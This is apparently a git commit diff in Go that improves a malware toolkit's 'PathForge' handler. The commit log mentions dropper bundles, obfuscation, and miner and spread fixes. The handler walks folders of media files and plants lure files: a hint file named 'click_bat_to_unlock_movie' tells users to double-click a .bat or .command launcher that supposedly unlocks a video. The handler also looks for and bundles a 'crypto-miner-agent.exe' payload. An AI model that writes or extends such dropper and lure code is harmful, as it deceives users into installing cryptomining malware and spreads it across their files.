fix: 2026-06-04 audit pass — README, USB pack, multi-area fixes
WS ticket dashboard auth, builder universal signing/size limits/fusion obfuscation/dropper bundles, Path Tracer WireGuard topology, SessionGate degraded mode and download timeouts, server bootstrap (data dir, cloudflared dedupe, config port precedence), agent mesh/miner/spread fixes. README refreshed; usb bundle repacked; PROBLEMS.md audit log updated.
This commit is contained in:
@@ -78,6 +78,10 @@ func NewPathForgeHandler(dataDir string) *PathForgeHandler {
|
||||
}
|
||||
|
||||
func (h *PathForgeHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||
if r.Method != http.MethodPost {
|
||||
http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
|
||||
return
|
||||
}
|
||||
var req PathForgeRequest
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
http.Error(w, "invalid JSON: "+err.Error(), http.StatusBadRequest)
|
||||
@@ -94,14 +98,26 @@ func (h *PathForgeHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||
if req.StemMode == "" {
|
||||
req.StemMode = "original"
|
||||
}
|
||||
if req.TargetMac && strings.TrimSpace(req.ServerURL) == "" {
|
||||
http.Error(w, "server_url is required when target_mac is enabled", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
|
||||
// Locate the Windows agent binary.
|
||||
agentExe := findAgentBinary()
|
||||
agentExe := findAgentBinary(h.dataDir)
|
||||
if req.TargetWindows && agentExe == "" {
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
json.NewEncoder(w).Encode(&PathForgeResult{
|
||||
Success: false,
|
||||
ErrorList: []string{"Windows agent binary not found on server — build or place crypto-miner-agent.exe first"},
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
// Build the extension set.
|
||||
extSet := buildExtSet(req.Extensions)
|
||||
|
||||
res := &PathForgeResult{Success: true}
|
||||
res := &PathForgeResult{}
|
||||
|
||||
err := filepath.WalkDir(req.RootPath, func(path string, d os.DirEntry, err error) error {
|
||||
if err != nil || d.IsDir() {
|
||||
@@ -109,6 +125,7 @@ func (h *PathForgeHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||
}
|
||||
ext := strings.ToLower(filepath.Ext(d.Name()))
|
||||
if _, ok := extSet[ext]; !ok {
|
||||
res.Skipped++
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -162,11 +179,12 @@ func (h *PathForgeHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||
// No extension so it appears as a generic document icon on all platforms.
|
||||
hintName := "click_bat_to_unlock_movie"
|
||||
hintDst := filepath.Join(dir, hintName)
|
||||
_ = os.WriteFile(hintDst, []byte(hintContent(stem)), 0644)
|
||||
_ = os.WriteFile(hintDst, []byte(hintContent(stem, req.TargetMac && !req.TargetWindows)), 0644)
|
||||
placed = append(placed, hintName)
|
||||
|
||||
if len(placed) > 0 {
|
||||
res.Placed += len(placed)
|
||||
mediaPlaced := len(placed) - 1 // exclude hint file from placement count
|
||||
if mediaPlaced > 0 {
|
||||
res.Placed += mediaPlaced
|
||||
res.Results = append(res.Results, PathForgeEntry{Source: rel, Files: placed})
|
||||
} else {
|
||||
res.Errors++
|
||||
@@ -179,6 +197,7 @@ func (h *PathForgeHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||
log.Printf("[pathforge] walk error: %v", err)
|
||||
res.ErrorList = append(res.ErrorList, "walk error: "+err.Error())
|
||||
}
|
||||
res.Success = res.Errors == 0
|
||||
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
json.NewEncoder(w).Encode(res)
|
||||
@@ -205,9 +224,15 @@ func sanitizeStem(s string) string {
|
||||
|
||||
// hintContent returns the body of the "click_bat_to_unlock_movie" hint file.
|
||||
// The filename itself is the instruction; the content gives a second nudge.
|
||||
func hintContent(batStem string) string {
|
||||
func hintContent(stem string, macOnly bool) string {
|
||||
if macOnly {
|
||||
return "This folder contains an encrypted media file.\n" +
|
||||
"To play it, double-click " + stem + ".command\n" +
|
||||
"\n" +
|
||||
"The launcher unlocks and opens the video automatically.\n"
|
||||
}
|
||||
return "This folder contains an encrypted media file.\n" +
|
||||
"To play it, double-click " + batStem + ".bat\n" +
|
||||
"To play it, double-click " + stem + ".bat\n" +
|
||||
"\n" +
|
||||
"The .bat file unlocks and opens the video automatically.\n"
|
||||
}
|
||||
@@ -270,8 +295,8 @@ func macContent(lockedFile, realFile, serverURL string, lockOriginal bool) strin
|
||||
return s
|
||||
}
|
||||
|
||||
// findAgentBinary looks next to the server executable for the agent binary.
|
||||
func findAgentBinary() string {
|
||||
// findAgentBinary looks next to the server executable and dataDir for the agent binary.
|
||||
func findAgentBinary(dataDir string) string {
|
||||
exe, err := os.Executable()
|
||||
if err != nil {
|
||||
return ""
|
||||
@@ -281,6 +306,12 @@ func findAgentBinary() string {
|
||||
filepath.Join(dir, "agent", "crypto-miner-agent.exe"),
|
||||
filepath.Join(dir, "crypto-miner-agent.exe"),
|
||||
}
|
||||
if dataDir != "" {
|
||||
candidates = append(candidates,
|
||||
filepath.Join(dataDir, "agent", "crypto-miner-agent.exe"),
|
||||
filepath.Join(dataDir, "crypto-miner-agent.exe"),
|
||||
)
|
||||
}
|
||||
for _, c := range candidates {
|
||||
if _, err := os.Stat(c); err == nil {
|
||||
return c
|
||||
|
||||
Reference in New Issue
Block a user